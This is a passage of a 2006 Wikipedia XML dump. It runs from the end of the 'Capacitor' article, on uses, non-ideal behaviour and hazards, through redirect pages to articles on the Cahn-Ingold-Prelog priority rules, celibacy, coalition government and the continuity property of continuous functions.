| [[Image:Polarized capacitor symbol.png]] 
| 
|- align = &quot;center&quot;
| 
| [[Image:Polarized capacitor symbol 2.png]] 
|
|- align = &quot;center&quot;
| 
| [[Image:Polarized capacitor symbol 3.png]] 
| 
|- align = &quot;center&quot;
| [[Image:Capacitor symbol.png]] 
| [[Image:Polarized capacitor symbol 4.png]] 
| [[Image:Variable capacitor symbol.png]] 
|- align = &quot;center&quot;
| Capacitor
| Polarized&lt;br/&gt; Capacitor
| Variable&lt;br/&gt; Capacitor
{{float_end|caption=Capacitor symbols}}
Capacitors have very many uses in electronic and electrical systems.

=== Energy storage ===

A capacitor can store electric energy when disconnected from its charging circuit, so it can be used like a temporary [[Battery (electricity)|battery]]. The recent commercial availability of very large value capacitors, one farad in size and larger, has enabled such components to allow batteries to be changed in electronic devices without the memory being lost, for instance, or for energy storage for delivery during extreme peak demands, as often found in the enormously powerful [[car audio]] systems now seen.

=== Signal processing ===

The energy stored in a capacitor can be used to represent [[information]], either in binary form, as in [[computer]]s, or in analogue form, as in switched-capacitor circuits and bucket-brigade delay lines. Capacitors can be used in [[analog circuit]]s as components of integrators or more complex filters and in [[negative feedback]] loop stabilization.  Signal processing circuits also use capacitors to [[integral|integrate]] a current signal.

=== Power supply applications ===

Capacitors are commonly used in [[Power supply|power supplies]] where they smooth the output of a full or half wave [[rectifier]]. They can also be used in [[charge pump]] circuits as the energy storage element in the generation of higher voltages than the input voltage.   Capacitors are connected in parallel with the power circuits of most electronic devices and larger systems (such as factories) to shunt away and conceal current fluctuations from the primary power source to provide a &quot;clean&quot; power supply for signal or control circuits. Audio equipment, for example, uses several capacitors in this way, to shunt away power line hum before it gets into the signal circuitry. The capacitors act as a local reserve for the DC power source, and bypass AC currents from the power supply. 

Capacitors are used in [[power factor]] correction.  Such capacitors often come as three capacitors connected as a [[three phase]] [[load]].  Usually, the values of these capacitors are given not in farads but rather as a [[reactive power]] in volt-amperes reactive (VAr).  The purpose is to match the inductive loading of machinery which contains motors, to make the load appear to be mostly resistive.

Capacitors are also used in parallel to interrupt units of a high-voltage [[circuit breaker]] in order to distribute the voltage between these units. In this case they are called grading capacitors. In schematic diagrams, a capacitor used primarily for DC charge storage is often drawn vertically in circuit diagrams with the lower, more negative, plate drawn as an arc. The straight plate indicates the positive terminal of the device, if it is polarized (see [[electrolytic capacitor]]).

Non-polarized electrolytic capacitors used for signal filtering are typically drawn with two curved plates. Other non-polarized capacitors are drawn with two straight plates.

===Tuned circuits===
Capacitors and [[inductor]]s are applied together in [[RLC circuit|tuned circuits]] to select information in particular frequency bands. For example, radio receivers rely on variable capacitors to tune the station frequency.  Speakers use passive analog crossovers, and analog equalizers use capacitors to select different audio bands.

In a [[tuned circuit]] such as a [[radio receiver]], the [[frequency]] selected is a function of the inductance (L) and the capacitance (C) in series, and is given by:
:&lt;math&gt;f = \frac{1}{2 \pi \sqrt{LC}}&lt;/math&gt;

This is the frequency at which [[resonance]] occurs in an [[RLC series circuit]].

=== Signal coupling ===
 
Because capacitors pass AC but block DC [[Signal (information theory)|signal]]s (when charged up to the applied dc voltage), they are often used to separate the AC and DC components of a signal.  This method is known as ''AC coupling''.  (Sometimes [[transformer]]s are used for the same effect.)  Here, a large value of capacitance, whose value need not be accurately controlled, but whose [[reactance]] is small at the signal frequency, is employed.  Capacitors for this purpose designed to be fitted through a metal panel are called feed-through capacitors, and have a slightly different schematic symbol.

===Noise filters, motor starters, and snubbers===
When an inductive circuit is opened, the energy stored in the magnetic field of the inductance collapses quickly, creating a large voltage across the open circuit of the switch or relay. If the inductance is large enough, the energy will generate a spark, causing the contact points to oxidize, deteriorate, or sometimes weld together, or destroying a solid-state switch. A [[snubber]] capacitor across the newly opened circuit creates a path for this impulse to bypass the contact points, thereby preserving their life; these were commonly found in [[contact breaker]] [[ignition system]]s, for instance. Similarly, in smaller scale circuits, the spark may not be enough to damage the switch but will still [[Spark-gap_transmitter|radiate]] undesirable [[radio frequency interference]] (RFI), which a '''filter''' capacitor absorbs.  Snubber capacitors are usually employed with a low-value resistor in series, to dissipate energy more slowly and minimize RFI.  Such resistor-capacitor combinations are available in a single package.

In an inverse fashion, to initiate current quickly through an inductive circuit requires a greater voltage than required to maintain it; in uses such as large motors, this can cause undesirable startup characteristics, and a '''motor starting capacitor''' is used to store enough energy to give the current the initial push required to start the motor up.

=== Transducer applications ===
Although capacitors usually maintian a fixed physical structure and utilization varies the electrical voltage and current, the effects of varying the physical and/or electrical characteristics of the '''dielectric''' with a fixed electrical supply can also be of use. Capacitors with an exposed and porous dielectric can be used to measure humidity in air.  Capacitors with a flexible plate can be used to measure strain or pressure. Capacitors are used as the [[transducer]] in [[condenser microphone]]s, where one plate is moved by air pressure, relative to the fixed position fo the other plate.

====Accelerometers====
Some [[accelerometer]]s use [[MEMS]] capacitors etched on a chip to measure the magnitude and direction of the acceleration vector. They are used to detect changes in acceleration, eg. as tilt sensors or to detect free fall, as sensors triggering [[airbag]] deployment, and in many other applications.

=== Weapons applications ===
An obscure military application of the capacitor is in an [[EMP]] weapon.  A [[plastic explosive]] is used for the dielectric.   The capacitor is charged up and the explosive is detonated.  The capacitance becomes  smaller, but the charge on the plates stays the same.  This creates a high-energy electromagnetic shock wave capable of destroying unprotected electronics for miles around.  These devices are rumored to have been employed by the US in the [[2003 invasion of Iraq]], though this is highly unlikely. See [[Explosively pumped flux compression generator]].

Large high-voltage low-[[inductance]] capacitors are used as energy sources for the [[exploding-bridgewire detonator]]s or [[slapper detonator]]s in [[nuclear weapon]]s and other specialty weapons, and are also used as power supplies for electromagnetic guns such as [[railgun]]s or [[coilgun]]s.

==Ideal and nonideal capacitors==
In practice, this ideal model of the capacitor often has to be modified to reflect real world capacitor construction and operation. The most obvious example is [[electrolytic capacitor]]s, where the capacitor is [[polarity|polarized]] such that when the voltage is connected in reversed fashion, the capacitor acts as a resistor. Similar problems of dielectric leakage are a constant complication of all capacitor design however, and have led to constant improvements in capacitor design, as the material used for dielectrics has changed from oiled paper to mylar and from ceramic to Teflon. This also addresses the related problem of dielectric stability; oiled or electrolyte soaked paper dries out over time, reducing the capacitance and increasing leakage, a problem reduced in modern components. 

On the other hand, the requirements of large plate area for reasonably useful capacitor values as well as reasonable packaging resulted in the universal practice of rolling the plate/dielectric sandwich into a cylinder, which was then encapsulated. However, this process also creates an inductance in series with the capacitance, just as introducing a coiled wire of similar characteristics in series with the flat capacitor would; in sensitive circuits, this inductance must be taken into account, either by using a capacitor designed to have lower inductance, or by bypassing a large capacitor with a smaller, noninductive one. This practice has become more common in [[audiophile]]-oriented products recently, as inductive problems in low-cost capacitors were demonstrated to degrade high-frequency fidelity. 

Computers and cell (mobile) phones use surface-mount stacked capacitors, since these devices have no leads and therefore no lead inductance. When the capacitor plates are mounted at right-angles to the circuit board, the inductance can be made extremely low. To further reduce inductance, wide conductor traces and small gaps are used and the capacitor is shaped accordingly.

Dielectric materials can produce unwanted side effects.  For example, the dielectric constant of [[barium titanate]] used in ceramic capacitors changes with temperature and pressure.  Such capacitors are sensitive to vibration and flexing, and can cause a type of signal modulation in electronic circuits called ''microphonics''.

==Capacitor hazards and safety==

Capacitors may retain a charge long after power is removed from a circuit; this charge can cause shocks (up to and including [[electrocution]]) or damage to connected equipment. Since capacitors have such low [[equivalent series resistance]]s (ESRs), they have the capacity to deliver large currents into short circuits; this can be dangerous. Care must be taken to ensure that any large or high-voltage capacitor is properly discharged before servicing the containing equipment. For safety purposes, all large capacitors should be discharged before handling. For board-level capacitors, this is done by placing a '''bleeder''' [[resistor]] across the terminals, whose resistance is large enough that the leakage current will not affect the circuit, but small enough to discharge the capacitor shortly after power is removed. High voltage capacitors should be stored with the terminals [[short circuit|shorted]] to dissipate any stored charge. 

Large oil-filled old capacitors must be disposed of properly as some contain [[polychlorinated biphenyl]]s (PCBs).  It is known that waste PCBs can leak into [[groundwater]] under [[landfill]]s. If consumed by drinking contaminated water, PCBs are [[carcinogen]]ic, even in very tiny amounts. If the capacitor is physically large it is more likely to be dangerous and may require precautions in addition to those described above. New electrical components are no longer produced with PCBs.
Disambiguation: Please keep in mind that PCB in electronics usually means Printed Circuit Board, unlike in chemistry where it may be used as seen above.

==See also==
{{Wikibookspar|Electronics|Capacitors}}
*[[Capacitance]]
*[[Capacitor plague]] capacitor failures on computer [[motherboard]]s
*[[Circuit design]]
*[[Electromagnetism]]
*[[Electricity]]
*[[Electronics]]
*[[Inductor]]
*[[Practical capacitors]]
*[[Supercapacitor]]

== External links ==
*[http://www.societyofrobots.com/electronics_tutorial.shtml#capacitor Practical Capacitors and other Electronics for Robotics]
*[http://leonardo.eeug.caltech.edu/~ee14/lab1cds.html Caltech: Practical capacitor properties]
*[http://www.faradnet.com/ FaradNet: The Capacitor Resource]
*[http://www.nesscap.com NessCap, maker of 5000 farad capacitors]
*[http://www.ga-esi.com/ General Atomics Electronic Systems, inc. High Voltage Pulsed Power Capacitors and Systems.]
*[http://www.skeletonnanolab.com Skeleton NanoLab, Research &amp; Development of advanced capacitors]
*[http://electronics.howstuffworks.com/capacitor.htm/printable Howstuffworks.com: How Capacitors Work]
*[http://my.execpc.com/~endlr/ CapSite 2006: Introduction to Capacitors]
* [http://www.phys.unsw.edu.au/~jw/AC.html AC circuits]

==References==

* Glenn Zorpette &quot;Super Charged: A Tiny South Korean Company is Out to Make Capacitors Powerful enough to Propel the Next Generation of Hybrid-Electric Cars&quot;, &quot;IEEE Spectrum&quot;, January, 2005 Vol 42, No. 1, North American Edition.
* &quot;The ARRL Handbook for Radio Amateurs, 68th ed&quot;, The Amateur Radio Relay League, Newington CT USA, 1991
* &quot;Basic Circuit Theory with Digital Computations&quot;, Lawrence P. Huelsman, Prentice-Hall, 1972
* Philosophical Transactions of the Royal Society LXXII, Appendix 8, 1782 (Volta coins the word ''condenser'')
* A. K. Maini &quot;Electronic Projects for Beginners&quot;, &quot;Pustak Mahal&quot;, 2nd Edition: March, 1998 ([[india|INDIA]])
* [http://www.sparkmuseum.com/BOOK_LEYDEN.HTM Spark Museum] (von Kleist and Musschenbroek)
* [http://www.acmi.net.au/AIC/VON_KLEIST_BIO.html Biography of von Kleist]

[[Category:Capacitors]] [[Category:Energy storage]]

[[ar:مكثف]]
[[ca:Condensador]]
[[cs:Kondenzátor]]
[[da:Elektrisk kondensator]]
[[de:Kondensator (Elektrotechnik)]]
[[et:Elektrikondensaator]]
[[es:Condensador (eléctrico)]]
[[eo:Kondensatoro]]
[[fa:خازن]]
[[fr:Condensateur (électricité)]]
[[io:Kondensatoro]]
[[id:Kapasitor]]
[[ia:Capacitor]]
[[it:Condensatore]]
[[he:קבל]]
[[la:Capacitor]]
[[hu:Kondenzátor]]
[[nl:Condensator]]
[[ja:コンデンサ]]
[[pl:Kondensator]]
[[pt:Capacitor]]
[[ru:Электрический конденсатор]]
[[sl:Kondenzator]]
[[fi:Kondensaattori]]
[[sv:Kondensator]]
[[ta:மின் தேக்கி]]
[[th:ตัวเก็บประจุ]]
[[tr:Kondansatör]]
[[zh:电容器]]</text>
    </revision>
  </page>
  <page>
    <title>Chronic Fatigue Syndrome</title>
    <id>6028</id>
    <revision>
      <id>34772563</id>
      <timestamp>2006-01-11T17:01:23Z</timestamp>
      <contributor>
        <username>RussBot</username>
        <id>279219</id>
      </contributor>
      <minor />
      <comment>Robot: Fixing [[Special:DoubleRedirects|double-redirect]] -&quot;Myalgic Encephalomyelitis&quot; +&quot;Chronic fatigue syndrome&quot;</comment>
      <text xml:space="preserve">#REDIRECT [[Chronic fatigue syndrome]]</text>
    </revision>
  </page>
  <page>
    <title>Chronic Fatigue Syndrome/The name</title>
    <id>6030</id>
    <revision>
      <id>34512549</id>
      <timestamp>2006-01-09T17:52:53Z</timestamp>
      <contributor>
        <username>Sceptre</username>
        <id>274040</id>
      </contributor>
      <minor />
      <comment>dblredir</comment>
      <text xml:space="preserve">#REDIRECT [[Chronic fatigue syndrome]]</text>
    </revision>
  </page>
  <page>
    <title>Chronic Fatigue Syndrome/Long term course</title>
    <id>6031</id>
    <revision>
      <id>34514280</id>
      <timestamp>2006-01-09T18:11:26Z</timestamp>
      <contributor>
        <username>Sceptre</username>
        <id>274040</id>
      </contributor>
      <minor />
      <comment>dblredir</comment>
      <text xml:space="preserve">#REDIRECT [[Chronic fatigue syndrome]]</text>
    </revision>
  </page>
  <page>
    <title>Chronic Fatigue Syndrome/Day to day patterns</title>
    <id>6032</id>
    <revision>
      <id>34512396</id>
      <timestamp>2006-01-09T17:51:24Z</timestamp>
      <contributor>
        <username>Sceptre</username>
        <id>274040</id>
      </contributor>
      <minor />
      <comment>dblredir</comment>
      <text xml:space="preserve">#REDIRECT [[Chronic fatigue syndrome]]</text>
    </revision>
  </page>
  <page>
    <title>Chronic Fatigue Syndrome/Demographics</title>
    <id>6033</id>
    <revision>
      <id>34512403</id>
      <timestamp>2006-01-09T17:51:29Z</timestamp>
      <contributor>
        <username>Sceptre</username>
        <id>274040</id>
      </contributor>
      <minor />
      <comment>dblredir</comment>
      <text xml:space="preserve">#REDIRECT [[Chronic fatigue syndrome]]</text>
    </revision>
  </page>
  <page>
    <title>Cahn Ingold Prelog priority rules</title>
    <id>6034</id>
    <revision>
      <id>40497409</id>
      <timestamp>2006-02-21T00:11:10Z</timestamp>
      <contributor>
        <username>Benjah-bmm27</username>
        <id>126395</id>
      </contributor>
      <text xml:space="preserve">For compounds found in [[organic chemistry]], the '''Cahn Ingold Prelog priority rules''' are used to determine the orientation of a molecule for purposes of assigning [[stereochemistry]] at a stereocenter and for assigning the name of [[isomer]]s of molecules possessing [[double bond]]s such as [[alkene]]s.

Simply put, any [[atom]] attached to a [[stereocenter]] or alkene bond carbon (or similar double bond system) has a Cahn-Ingold-Prelog priority corresponding to its [[atomic number]]&amp;mdash;the higher the atomic number, the higher the priority.  

If two atoms attached to the stereocenter have the same atomic number, then the atomic number of the atoms bonded to these atoms is compared.  The atom of highest atomic number on the first bonded atom is compared to the atom of highest atomic number on the second bonded atom, then the atoms of second highest atomic number are compared, and so on.  If the atoms directly bonded to the stereocenter are bonded to exactly the same set of atoms, then the two atoms of highest priority are compared in the same fashion.  If these are equivalent the process would continue on the atoms of highest atomic number that are attached to the last evaluated piece.  If these prove to be the same through the end of the molecule, the bonds to the atoms of second highest value would be compared next (starting these comparisons at the last point of difference, not the first.)  Any double or [[triple bond]]s are counted as if the atom was attached to two or three, respectively, of the atom it is bonded to.  If the atom contains specific isotopes of atoms then these are compared only if everything else is the same.

Examples: 
:-CH&lt;sub&gt;2&lt;/sub&gt;OH outranks -C(CH&lt;sub&gt;3&lt;/sub&gt;)&lt;sub&gt;3&lt;/sub&gt;
:-CH(CH&lt;sub&gt;3&lt;/sub&gt;)&lt;sub&gt;2&lt;/sub&gt; outranks -CH&lt;sub&gt;2&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;OH
:-HC=O outranks -CH(CH&lt;sub&gt;3&lt;/sub&gt;)OH
:-CH&lt;sub&gt;2&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;CH&lt;sub&gt;3&lt;/sub&gt; outranks -CH(CH&lt;sub&gt;3&lt;/sub&gt;)D, although -CH&lt;sub&gt;2&lt;/sub&gt;D outranks -CH&lt;sub&gt;3&lt;/sub&gt;

After the [[substituent]]s of a [[stereocenter]] have been assigned their priorities, the molecule is so oriented in space that the group with the lowest priority is pointed away from the observer. If the lowest priority substituent is assigned the number 1, and the highest 4, then the sense of rotation of a route passing through 4, 3 and 2 distinguishes the [[stereoisomer]]s. A center with a clockwise sense of rotation is an '''R''' or '''rectus center''' and a center with an anticlockwise sense of rotation is an '''S''' or '''sinister center'''. The names are derived from the [[Latin]] for right and left.

For alkenes and similar double bonded molecules, the same prioritising process is followed for the substituents. In this case, it is the placing of the two highest priority substituents with respect to the double bond which matters. If both high priority substituents are on the same side of the double bond, ie. in the [[cis configuration]], then the [[stereoisomer]] is assigned a '''Z''' or '''Zusammen configuration'''. If, by contrast they are in a [[trans configuration]], then the stereoisomer is assigned an '''E''' or '''Entgegen configuration'''. In this case the identifying letters are derived from [[German language|German]].

It is important to note that there can be more than one of each type of system requiring assignment in a particular molecule. For example, [[ephedrine]] exists in both 1-(''R''), 2-(''S'') and 1-(''S''), 2-(''R'') forms. A compound with the same formula also exists in 1-(''R''), 2-(''R'') and 1-(''S''), 2-(''S''). Said stereoisomers are not ephedrine, but [[pseudoephedrine]]. They are chemically distinct from ephedrine, with only the three dimensional configuration in space, as notated by the Cahn-Ingold-Prelog rules to distinguish them in systematic nomenclature (both are 2-methylamino-1-phenyl-1-propanol in systematic nomenclature). The ephedrine [[enantiomer]]s are referred to as being [[diastereoisomer]]s of the pseudoephedrine [[enantiomer]]s. In general where there are n stereocenters, there will be 2&lt;sup&gt;n&lt;/sup&gt; stereoisomers possible. However, often there are situations where some of these stereoisomers are superimposable, reducing the number of different molecules which actually exist.

It should also be noted that a common misnomer is to label tetrahedral atoms with four distinct substituents as ''chiral centers''. This is incorrect, since merely because a center has such a structure does not mean that it is part of a chiral molecule. It may be part of a molecule which is an optically inactive diastereoisomer. They should correctly be labelled as [[stereocenter]]s or '''prochiral centers'''.

Stereochemistry also plays a role assigning '''faces''' to trigonal molecules such as [[ketone]]s. A [[nucleophile]] in a [[nucleophilic addition]] can approach the [[carbonyl]] group from two opposite sides or faces. When an achiral nucleophile attacks [[acetone]], both faces are identical and there is only one reaction product. When the nucleophile attacks [[butanone]], the faces are not identical ('''enantiotopic''') and a racemic product results. When the nucleophile is a [[chiral]] molecule [[diastereoisomer]]s are formed. When one face of a molecule is shielded by substituents or geometric constraints compared to the other face the faces are called '''diastereotopic'''. The same rules that determine the stereochemistry of a stereocenter (R or S) also apply when assigning the face of a molecular group. The faces are then called the '''Re face''' or the '''Si face'''. 

[[Vladimir Prelog]] won the [[Nobel Prize]] in [[chemistry]] in [[1975]].

== References ==
# {{Note|1}} J.March ''Advanced Organic Chemistry'' 3Ed. ISBN 0471854727

[[Category:Organic chemistry]]
[[Category:Chemical nomenclature]]
[[Category:stereochemistry]]

[[ar:قاعدة أولويات كان إنجولد بريلوج]]
[[de:Cahn-Ingold-Prelog-Konvention]]</text>
    </revision>
  </page>
  <page>
    <title>Celibacy</title>
    <id>6035</id>
    <revision>
      <id>40161841</id>
      <timestamp>2006-02-18T17:09:54Z</timestamp>
      <contributor>
        <ip>216.165.47.205</ip>
      </contributor>
      <text xml:space="preserve">'''Celibacy''' may refer either to being unmarried or to [[sexual abstinence]]. An [[oath]] of celibacy is a promise not to enter into [[marriage]]. Some writers prefer this usage of &quot;celibacy&quot;, while others use it interchangeably as a synonym for abstinence.

Some writers on sexuality draw a distinction between abstinence and celibacy, stating that celibacy means refraining from any sexual activity with a partner. They argue that this can be empowering, as it still allows that person to be &quot;sexual&quot; (through, for example, [[masturbation]]).  This would not, however, be refered to as chaste celibacy, as masturbation is not considered a chaste act.

The term [[involuntary celibacy]] refers to lack of [[sexual intercourse]] for reasons other than (voluntary) abstinence, e.g. [[shyness]] / [[love-shyness]].

[[Clerical celibacy]] as a requirement for priests, a church law which is maintained by the Western [[Catholic Church]] and in different form in the [[Orthodox Churches]], was an important point of disagreement during the [[Reformation]], with the Reformers arguing that requiring an oath of celibacy from a priest was contrary to biblical teaching in 1Ti 4: 1-5[http://www.usccb.org/nab/bible/1timothy/1timothy4.htm ], Heb 13: 4[http://www.usccb.org/nab/bible/hebrews/hebrews13.htm ] and 1Co 9: 5[http://www.usccb.org/nab/bible/1corinthians/1corinthians9.htm ], implied a degradation of marriage, and was one reason for the widespread sexual misconduct within the clergy at the time of the Reformation (e.g., discussed by [[Calvin]] in his [[Institutes of the Christian Religion]] IV,12,23-28: [http://www.vor.org/rbdisk/calvin/ci_html/4_12.htm#4.12.23]).

Today, the topic of celibacy for Catholic priests has again become a point of a heated discussion[http://www.boston.com/globe/spotlight/abuse/extras/celibacy.htm] in the public and within the Catholic church , possibly in part as a reaction to the difficulties in recruiting new priests, but also in the wake of discoveries of longstanding [[Pedophilia|pedophilic]] behaviour of a number of Catholic priests in the USA.

==See also==
*''[[40 Days and 40 Nights]]''

==External links==
* [http://www.scarleteen.com/sexuality/abstinence.html Abstinence and Celibacy ]
* [http://a4.nu/christian/celibacy.htm Celibacy Chastity and Religion]
[[Category:Non-sexuality]]
*[http://catholicapologeticsofamerica.blogspot.com/2005_08_01_catholicapologeticsofamerica_archive.html Catholic Apologetics of America]
* [http://www.vor.org/rbdisk/calvin/ci_html/4_12#4.12.23 The Reformation view of Celibacy]
*[http://www.jewishgates.com/file.asp?File_ID=427 Why Moses Remained Celibate]: from the [[Oral Torah]] @ [http://www.jewishgates.com/index.asp JewishGates.com]
{{Spirituality-stub}}

[[Category:Asceticism]]

[[o:Celibato]]

[[ca:Celibat]]
[[cs:Celibát]]
[[da:Cølibat]]
[[de:Zölibat]]
[[et:Tsölibaat]]
[[el:Αγαμία (θρησκευτική)]]
[[es:Celibato]]
[[eo:Celibato]]
[[lt:Celibatas]]
[[nl:Celibaat]]
[[pl:Celibat]]
[[ru:Целибат]]
[[sk:Celibát]]
[[fi:Selibaatti]]
[[sv:Celibat]]
[[uk:Целібат]]</text>
    </revision>
  </page>
  <page>
    <title>Coalition government</title>
    <id>6036</id>
    <revision>
      <id>41898805</id>
      <timestamp>2006-03-02T13:38:26Z</timestamp>
      <contributor>
        <username>Jiddisch</username>
        <id>681110</id>
      </contributor>
      <text xml:space="preserve">A '''coalition government''', or '''coalition cabinet''', is a [[cabinet]] in [[parliamentary system|parliamentary]] [[government]] in which several [[political party|parties]] cooperate. The usual reason for this arrangement is that no party on its own has a majority in the [[parliament]]. In times of crisis such as a war or a major economic or political crisis parties may form an all-party [[National government|National Unity Government]] or [[Grand Coalition]]. 

Cabinets based on a coalition with majority in the parliament ideally are more stable and longlived than [[minority government|minority cabinets]]. While the former are prone to internal struggles, they have less reason to fear [[Motion of No Confidence|votes of non confidence]], although [[majority government]]s based on a single party are usually even more stable as long as its majority can be maintained. 

Coalition cabinets are common in countries where the parliament is [[proportional representation|proportionally representative]] for several [[political party|political parties]]. It does not appear at all in countries where the cabinet is chosen by the president rather than the lower house (such as the [[United States]]).  In semi-presidential systems, such as [[France]], where the president formally appoints the prime minister but where the government itself must still maintain the confidence of parliament, coalition governments occur quite regularly.  Countries that often have a coalition cabinet include the [[Nordic countries]], the [[Benelux]] countries, [[Germany]], [[Italy]], [[Turkey]], [[Israel]] and [[India]]. [[Switzerland]] has been ruled by a loose coalition of the four strongest parties in parliament since 1959, called the &quot;Magic Formula&quot;. Sometimes a coalition government is also created in times of national difficulties or crises, for example during wartime, to give the government a high degree of [[political legitimacy]] and acceptability whilst also diminishing internal political strife.

To deal with a situation where no clear majorities appear, parties either form coalition cabinets, supported by a parliamentary majority, or [[minority cabinet]]s which can consist of one or several parties.  

In [[Germany]], for instance, coalitions are the norm as it is rare for either the [[Christian-Democratic Union of Germany|CDU]]/[[Christian Social Union in Bavaria|CSU]] or [[Social Democratic Party of Germany|SPD]] to win a majority of their own. Thus coalitions are formed with at least one of the smaller parties.  [[Helmut Kohl]]'s CDU governed for years in coalition with the [[Free Democratic Party of Germany|FDP]], From 1998 to 2005, [[Gerhard Schröder]]'s SPD was in a coalition with the [[German Green Party|Greens]]. If a coalition collapses a [[Motion of Confidence|confidence vote]] is held. 

A similar situation exists in [[Israel]] with its dozens of parties.  The centre-right [[Likud]] thus forms coalitions with far right and orthodox groups, while [[Israeli Labour Party|Labour]] allies itself with more leftist and pacifist parties.  

In both countries, grand coalitions of the two large parties also occur, but these are rarer and large parties usually prefer to associate with small ones. But if none of the larger parties can receive enough votes to form their preferred coalition, a grand coalition may be the only choice. This is the current situation in Germany: In early elections in September 2005, the CDU/CSU did not garner enough votes to form a coalition with the FDP; similarly the SPD and Greens did not have enough votes to continue their governing coalition. A grand coaltion was formed between the CDU/CSU and the SPD, but partnerships like these usually involve carefully structured cabinets. The CDU/CSU ended up gaining the Chancellory, but the SPD took a majority of cabinet posts. 

A coalition can consist of any number of parties. In [[Germany]], a coalition rarely consists of more than two parties (where CDU and CSU, two non-competing parties that always form a single [[caucus]], are considered a single party), while in [[Belgium]], where there are separate [[Dutch language]] and [[French language]] parties for each political group, coalitions of six parties are quite common. India's governing coalition, the United Progressive Alliance, consists of fourteen different parties.
[[Finland]] experienced it's most stable government since the independence  with a five-party coalition established in the [[1990s]].

In [[Australia]], the conservative [[Liberal Party of Australia|Liberal]] and [[National Party of Australia|National]] parties are united in an effectively permanent coalition. This coalition has become so stable (at least at a Federal level) and so permanent, that in effect Australia has a [[two-party system]].

In the [[United Kingdom]], coalition governments (known as ''National Governments'') have since [[1915]] only been appointed at times of national crisis. The most prominent was the [[UK National Government|National Government of 1931-1940]]. In other circumstances when no party has had a majority, minority governments have been the rule.  However, the devolved government in [[Scotland]] is run by a coalition of [[Scottish Labour]] and the [[Scottish Liberal-Democrats]], as Labour does not have a majority in the [[Scottish Parliament]]. 
  
==Arguments for and against coalition government==

Coalition governments often occur in countries that possess an electoral system based upon [[proportional representation]].  Advocates of PR suggest that a coalition government leads to more consensual politics, in that a government comprised of differing parties (often based on different ideologies) would have to concur in regard to governmental policy.  Another advantage is that a coalition government better reflects the popular opinion of the electorate within a country.  

People who disapprove of coalition governments believe that such governments have a tendency to be fractious and prone to disharmony.  This is because coalitions would be comprised of different parties with differing beliefs, who may not always agree on the correct path for governmental policy. Sometimes the results of an election are of such nature that the coalitions that are mathematically most probable are ideologically unfeasible, such as in [[Flanders]] or [[Northern Ireland]].
A second problem may be the ability for minor parties to be &quot;[[kingmaker]]s&quot; and especially in close elections, gain far more for their support than their vote would indicate.

==See also==
*[[List of democracy and elections-related topics]]
*[[cohabitation (government)]]
*[[First Past the Post electoral system]]

[[Category:Political parties]][[Category:Elections]]

[[bg:Коалиция]]
[[de:Koalitionsregierung]]
[[fr:Gouvernement de coalition]]
[[he:קואליציה]]
[[nl:Coalitie]]
[[yi:קאאליציע]]
[[ja:連立政権]]
[[fi:Hallituskoalitio]]</text>
    </revision>
  </page>
  <page>
    <title>Continuity property</title>
    <id>6037</id>
    <revision>
      <id>23315862</id>
      <timestamp>2005-09-16T00:23:32Z</timestamp>
      <contributor>
        <username>Brighterorange</username>
        <id>219031</id>
      </contributor>
      <minor />
      <comment>several missing periods ([[Wikipedia:WikiProject Punctuation|You can help!]])</comment>
      <text xml:space="preserve">In [[mathematics]], the '''continuity property''' may be presented as follows.

:Suppose that ''f'' :&amp;nbsp;[''a'',&amp;nbsp;''b'']&amp;nbsp;&amp;rarr;&amp;nbsp;'''R''' is a [[continuous function]]. Then the [[image (mathematics)|image]] ''f''([''a'',&amp;nbsp;''b'']) is a closed bounded interval.

The theorem is a stronger form of the [[intermediate value theorem]], comprising the three assertions:
# The image ''f''([''a'',&amp;nbsp;''b'']) is an interval. This is the intermediate value theorem.
# This image is bounded.
# This image interval is closed, so ''f'' attains both its bounds.

== Proof of assertion 1 ==

''See:'' [[Intermediate value theorem#Proof]]

== Proof of assertion 2 ==

We proceed by contradiction. Suppose ''f'' is unbounded on some interval [''a''&amp;prime;,&amp;nbsp;''b''&amp;prime;]. Then if ''a''&amp;prime;&amp;nbsp;&lt; ''c''&amp;prime;&amp;nbsp;&lt; ''b''&amp;prime;, then ''f'' is unbounded on either [''a''&amp;prime;,&amp;nbsp;''c''&amp;prime;] or [''c''&amp;prime;,&amp;nbsp;''b''&amp;prime;]. This allows us to find an interval [''y'', ''y''&amp;nbsp;+&amp;nbsp;&amp;delta;] on which ''f'' is unbounded for arbitrarily small &amp;delta;.

However, this contradicts the continuity of ''f''. Let ''A''&lt;sub&gt;1&lt;/sub&gt; be a closed interval of length &amp;delta;&lt;sub&gt;1&lt;/sub&gt;&amp;nbsp;&lt;&amp;nbsp;1 on which ''f'' is unbounded. We recursively define ''A''&lt;sub&gt;''n''+1&lt;/sub&gt;&amp;nbsp;&amp;sub;&amp;nbsp;''A''&lt;sub&gt;''n''&lt;/sub&gt; to be a closed interval of width &amp;delta;&lt;sub&gt;''n''&lt;/sub&gt;&amp;nbsp;&lt;&amp;nbsp;1/''n'' on which ''f'' is unbounded.

By the [[nested interval property]], the intersection

:&lt;math&gt;B = \bigcap_{n=1}^{\infty} A_n&lt;/math&gt;

is non-empty, so define ''x''&lt;sub&gt;0&lt;/sub&gt; to be a point in ''B''. This point is in each ''A''&lt;sub&gt;''n''&lt;/sub&gt;, and any other point in any ''A''&lt;sub&gt;''n''&lt;/sub&gt; is at most 1/''n'' away from ''x''&lt;sub&gt;0&lt;/sub&gt;. Letting

:&lt;math&gt;C_n = \left(x_0 - \frac{2}{n}, x_0 + \frac{2}{n}\right),&lt;/math&gt;

we have ''A''&lt;sub&gt;''n''&lt;/sub&gt;&amp;nbsp;&amp;sub;&amp;nbsp;''C''&lt;sub&gt;''n''&lt;/sub&gt;, so ''f'' is unbounded on ''C''&lt;sub&gt;''n''&lt;/sub&gt;. However, 2/''n'' can be made arbitrarily small, so for all &amp;epsilon; and for all &amp;delta;, there exists an ''x''&amp;nbsp;&amp;isin; (''x''&lt;sub&gt;0&lt;/sub&gt;&amp;nbsp;&amp;minus;&amp;nbsp;&amp;delta;,&amp;nbsp;''x''&lt;sub&gt;0&lt;/sub&gt;&amp;nbsp;+&amp;nbsp;&amp;delta;) such that |''f''(''x'')&amp;nbsp;&amp;minus;&amp;nbsp;''f''(''x''&lt;sub&gt;0&lt;/sub&gt;)|&amp;nbsp;&gt; &amp;epsilon;. Thus ''f'' is discontinuous at ''x''&lt;sub&gt;0&lt;/sub&gt;, a contradiction. Thus ''f''([''a'',&amp;nbsp;''b'']) must be bounded.

== Proof of assertion 3 ==

This comes from the [[least upper bound]] property of the real line.

